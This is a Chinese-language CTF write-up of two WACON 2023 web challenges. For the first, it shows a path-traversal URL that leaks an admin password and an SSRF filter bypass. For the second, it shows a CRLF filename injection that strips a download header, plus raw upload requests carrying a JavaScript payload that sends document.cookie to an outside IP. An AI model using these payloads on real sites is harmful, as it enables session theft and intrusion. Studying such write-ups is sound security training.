2023waconCTF
mosaic
1 2 3 4 5 6 7 8
| @app.route('/check_upload/@<username>/<file>') def check_upload(username, file): if not session.get('logged_in'): return redirect(url_for('login')) if username == "admin" and session["username"] != "admin": return "Access Denied.." else: return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)
|
直接将username填充,没有进行过滤,可以直接获取password
1
| http://localhost:8090/check_upload/@../password.txt
|
1 2
| if session.get('username') == "admin" and request.remote_addr == "127.0.0.1": copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
|
在上面获取到了admin之后,需要进行一次SSRF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @app.route('/mosaic', methods=['GET', 'POST']) def mosaic(): if not session.get('logged_in'): return redirect(url_for('login')) if request.method == 'POST': image_url = request.form.get('image_url') if image_url and "../" not in image_url and not image_url.startswith("/"): guesstype = mimetypes.guess_type(image_url)[0] ext = guesstype.split("/")[1] mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}') filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url) if os.path.isfile(filename): image = imageio.imread(filename) elif image_url.startswith("http://") or image_url.startswith("https://"): return "Not yet..! sry.." else: if type_check(guesstype): image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content image = imageio.imread(image_data) apply_mosaic(image, mosaic_path) return render_template("mosaic.html", mosaic_path = mosaic_path) else: return "Plz input image_url or Invalid image_url.." return render_template("mosaic.html")
|
我们需要进入的分支
1 2 3
| if type_check(guesstype): image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content image = imageio.imread(image_data)
|
来发起本地的请求
首先需要url已经限制了无法读取工作目录的父目录,guesstype会检查url请求的文件类型,下面判断中不能为空,第二需要绕过http,因为不能是一个真实存在的文件,否则进入第一个if,然后http可以使用大小写绕过,初步就是
1
| Http://localhost:9999/1.png
|
但是不能真的让get请求1.png,因为需要的是Http://localhost:9999/
,所以可以使用#
,因为在blog中(可以直接 自己尝试一下),点击hexo的跳转,只会在页面中跳转(跳转的是id=”1.png”),所以加上#
,还是对Http://localhost:9999/
发起的请求
最终就是
1 2
| Http://localhost:9999/#1.png http://localhost:8090/check_upload/@admin/flag.png
|
warmup-revenge
waf: 存在CSP同源
漏洞点: CRLF注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php include('./config.php'); ob_end_clean();
if(!trim($_GET['idx'])) die('Not Found'); $query = array( 'idx' => $_GET['idx'] );
$file = fetch_row('board', $query); if(!$file) die('Not Found');
$filepath = $file['file_path']; $original = $file['file_name'];
if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-transfer-encoding: binary"); } else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){ header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\""); header("content-description: php generated data"); } else { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-description: php generated data"); } header("pragma: no-cache"); header("expires: 0"); flush();
$fp = fopen($filepath, 'rb');
$download_rate = 10;
while(!feof($fp)) { print fread($fp, round($download_rate * 1024)); flush(); usleep(1000); } fclose ($fp); flush(); ?>
|
1 2 3 4 5
| else { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-description: php generated data"); }
|
在常规的 HTTP 应答中,Content-Disposition
响应标头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。
在 HTTP 场景中,第一个参数或者是 inline
(默认值,表示回复中的消息体会以页面的一部分或者整个页面的形式展示),或者是 attachment
(意味着消息体应该被下载到本地;大多数浏览器会呈现一个“保存为”的对话框,将 filename
的值预填为下载后的文件名,假如它存在的话)。
1 2 3
| Content-Disposition: inline Content-Disposition: attachment Content-Disposition: attachment; filename="filename.jpg"
|
所以此处可以使用CRLF使得使用内联的方式来进行url跳转
先注入一个恶意文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| POST /board.php?p=write HTTP/1.1 Host: 100.100.1.2 Content-Length: 652 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://100.100.1.2 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzSMhJ9rVeHZcy5bY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.81 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://100.100.1.2/board.php?p=write Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=5715fd548fecc747209d2e489de811e1 Connection: close
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="title"
1 ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="content"
1 ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="level"
1 ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="file"; filename="myFile.html" Content-Type: text/plain
document.location="http://43.139.154.219/?x=".concat(encodeURIComponent(document.cookie)); ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="password"
1 ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY--
|
然后使用\r
,使得Content-Disposition
响应标头失效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| POST /board.php?p=write HTTP/1.1 Host: 100.100.1.2 Content-Length: 602 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://100.100.1.2 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzSMhJ9rVeHZcy5bY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.81 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://100.100.1.2/board.php?p=write Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=5715fd548fecc747209d2e489de811e1 Connection: close
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="title"
1 ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="content"
1 ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="level"
1 ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="file"; filename="AA .html" Content-Type: text/plain
<script src="/download.php?idx=4"></script> ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY Content-Disposition: form-data; name="password"
1 ------WebKitFormBoundaryzSMhJ9rVeHZcy5bY--
|
如果调试的过程中可以发现不存在Content-Disposition
响应标头,说明将会以内联的方式展示,然后触发跳转发起本地请求,成功XSS
1
| array(7) { [0]=> string(24) "X-Powered-By: PHP/7.4.33" [1]=> string(50) "Cache-Control: no-store, no-cache, must-revalidate" [2]=> string(146) "Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:" [3]=> string(18) "content-length: 43" [4]=> string(39) "content-description: php generated data" [5]=> string(16) "pragma: no-cache" [6]=> string(10) "expires: 0" }
|